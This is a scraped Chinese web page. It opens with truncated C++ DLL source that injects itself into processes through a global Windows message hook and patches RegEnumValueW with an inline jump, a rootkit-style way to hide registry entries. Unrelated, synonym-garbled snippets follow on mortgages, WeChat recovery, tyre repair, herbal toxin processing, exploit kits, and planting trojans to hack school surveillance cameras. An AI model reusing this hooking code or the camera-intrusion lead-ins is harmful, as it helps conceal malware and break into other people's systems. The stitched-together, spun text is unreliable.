dll代码如下: #include "stdafx.h" #pragma data_seg(".shared") DWORD ProtectingPid = 0; #pragma data_seg() HMODULE MyModuleHandle;HHOOK hhk = NULL;DWORD MyPid = 0;unsigned char Store[10]; long _stdcall SelfInject();long _stdcall SelfEject(); LRESULT CALLBACK GetMsgProc(int nCode,WPARAM wParam,LPARAM lParam);LONG WINAPI RegEnumValue2( HKEY hKey, DWORD dwIndex, LPTSTR lpValueName, LPDWORD lpcchValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData ); void HookAPI();void UnHookAPI(); BOOL APIENTRY DllMain( HANDLE hModule, DWORD reason, LPVOID lpReserved ){ if (reason == DLL_PROCESS_ATTACH) { HookAPI(); MyModuleHandle = (HMODULE)hModule; MyPid = GetCurrentProcessId(); } return TRUE;} long _stdcall SelfInject(){ ProtectingPid = MyPid; hhk = SetWindowsHookEx(WH_GETMESSAGE,GetMsgProc,MyModuleHandle,0); return (hhk != NULL);} long _stdcall SelfEject(){ return UnhookWindowsHookEx(hhk);} LRESULT CALLBACK GetMsgProc(int nCode,WPARAM wParam,LPARAM lParam){ return CallNextHookEx(hhk,nCode,wParam,lParam);} void HookAPI(){ DWORD OldProtect, NewProtect = PAGE_EXECUTE_READWRITE; HMODULE hmod = GetModuleHandle("Advapi32.dll"); long pa = (long)GetProcAddress(hmod,"RegEnumValueW"); long pa2 = (long)RegEnumValue2; long dAddr = pa2 - pa - 5; unsigned char *p = (unsigned char *)pa; unsigned char *p2 = (unsigned char *)(&dAddr); VirtualProtect((void *)pa,5,NewProtect,&OldProtect); for (int i=0;i<5;i++) Store[i] = p[i]; p[0] = (unsigned char)0xE9; for (int i=0;i<4;i++) p[i + 1] = p2[i]; VirtualProtect((void *)pa,5,OldProtect,&NewProtect);} void UnHookAPI(){ DWORD OldProtect, NewProtect = PAGE_EXECUTE_READWRITE; HMODULE hmod = GetModuleHandle("Advapi32.dll"); long pa = (long)GetProcAddress(hmod,"RegEnumValueW"); unsigned char *p = (unsigned char *)pa; VirtualProtect((void *)pa,5,NewProtect,&OldProtect); for (int i=0;i<5;i++) p[i] = Store[i]; VirtualProtect((void *)pa,5,OldProtect,&NewProtect);} LONG WINAPI RegEnumValue2(
假如是新房抵押,最长的贷款期限不能高出30年;假如是二手房抵押几多,则不能高出20年。在计较贷款期限时,借钱人应该按照几多本身的还款本领确定还款期限,以免造成还款。 您好,衡宇抵押贷款要求衡宇...
微信聊天记录删除了能恢复吗?在我们生活中,总会有各种各样样的垃圾信息充斥着我们的生活。很多同学不堪其扰,删除了大量的垃圾微信消息,但是,一不小心就会删掉重要的微信聊天记录。碰到这种情况,一定要尽快找回...
这个要看你补胎的地几多点高恩妃,你的车型,轮胎伤的环境,要补几个处所。1,在一线多半会,普通车单个轮胎补一个洞要30-50元,假如伤在侧面要举办火补,这个费时长,收的。 补胎的人一般都是看车要...
马钱子炮制(顾氏家传马钱子炮制法则) 生马钱子含有剧毒,马钱子的炮制就利害攸关。如同张锡纯所说:“制之有法,则有毒者,可至无毒。”传统炮制方法较多,目前全国应用较多的主要有两种,即沙炒法和油炸法,均...
现代的缝隙运用东西变得越来越难以检测了,由于这些EK东西在规划时就会测验防止安全研讨人员的检测。 特别的,Angler EK还具有以下特性:就像毛贼与巨枭相同,缝隙也分三六九等。 // POC Aut...
本文目录一览: 1、怎么在学校机房埋藏木马,侵入摄像头系统 2、黑客们是怎么黑掉摄像头的 3、求大神教我怎么黑进学校教室里面的监控 怎么在学校机房埋藏木马,侵入摄像头系统 很高兴为您解答:制...